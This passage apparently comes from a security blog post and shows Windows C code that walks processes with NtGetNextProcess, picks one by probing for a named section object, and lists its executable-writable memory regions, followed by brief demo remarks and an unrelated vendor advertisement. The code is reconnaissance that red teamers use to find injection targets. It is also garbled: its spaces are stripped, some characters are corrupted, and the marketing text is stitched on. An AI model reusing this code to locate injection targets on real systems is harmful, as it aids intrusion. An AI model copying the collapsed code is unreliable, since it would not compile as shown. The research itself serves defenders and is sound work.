#include<winternl.h>typedefNTSTATUS(NTAPI*fNtGetNextProcess_t)(_In_HANDLEProcessHandle,_In_ACCESS_MASKDesiredAccess,_In_ULONGHandleAttributes,_In_ULONGFlags,_Out_PHANDLENewProcessHandle);typedefNTSTATUS(NTAPI*fNtOpenSection_t)(PHANDLESectionHandle,ACCESS_MASKDesiredAccess,POBJECT_ATTRIBUTESObjectAttributes);HANDLEfindMyProc(constchar*procname){HANDLEcurrent=NULL;charprocName[MAX_PATH];// resolve function addressesfNtGetNextProcess_tmyNtGetNextProcess=(fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtGetNextProcess");fNtOpenSection_tmyNtOpenSection=(fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtOpenSection");// loop through all processeswhile(!myNtGetNextProcess(current,MAXIMUM_ALLOWED,0,0,¤t)){GetProcessImageFileNameA(current,procName,MAX_PATH);if(lstrcmpiA(procname,PathFindFileNameA(procName))==0){// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" sectionUNICODE_STRINGsName;OBJECT_ATTRIBUTESoa;HANDLEsHandle=NULL;WCHARobjPath[]=L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";sName.Buffer=(PWSTR)objPath;sName.Length=wcslen(objPath)*sizeof(WCHAR);sName.MaximumLength=sName.Length+sizeof(WCHAR);InitializeObjectAttributes(&oa,&sName,OBJ_CASE_INSENSITIVE,NULL,NULL);NTSTATUSstatus=myNtOpenSection(&sHandle,SECTION_QUERY,&oa);if(NT_SUCCESS(status)){CloseHandle(sHandle);break;}}}returncurrent;}intfindRWX(HANDLEh){MEMORY_BASIC_INFORMATIONmbi={};LPVOIDaddr=0;// query remote process memory informationwhile(VirtualQueryEx(h,addr,&mbi,sizeof(mbi))){addr=(LPVOID)((DWORD_PTR)mbi.BaseAddress+mbi.RegionSize);// look for RWX memory regions which are not backed by an imageif(mbi.Protect==PAGE_EXECUTE_READWRITE&&mbi.State==MEM_COMMIT&&mbi.Type==MEM_PRIVATE)printf("found RWX memory: 0x%x - %#7llu bytes region\n",mbi.BaseAddress,mbi.RegionSize);}return0;}intmain(intargc,char*argv[]){charprocNameTemp[MAX_PATH];HANDLEh=NULL;intpid=0;h=findMyProc(argv[1]);if(h)GetProcessImageFileNameA(h,procNameTemp,MAX_PATH);pid=GetProcessId(h);printf("%s%d\n",pid>0?"process found at pid = ":"process not found. pid = ",pid);findRWX(h);CloseHandle(h);return0;}
As you can see, the logic is simple: check section name and try to open it.
demo 3
Letβs go to see third example in action. Compile it:
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didnβt look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.
In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.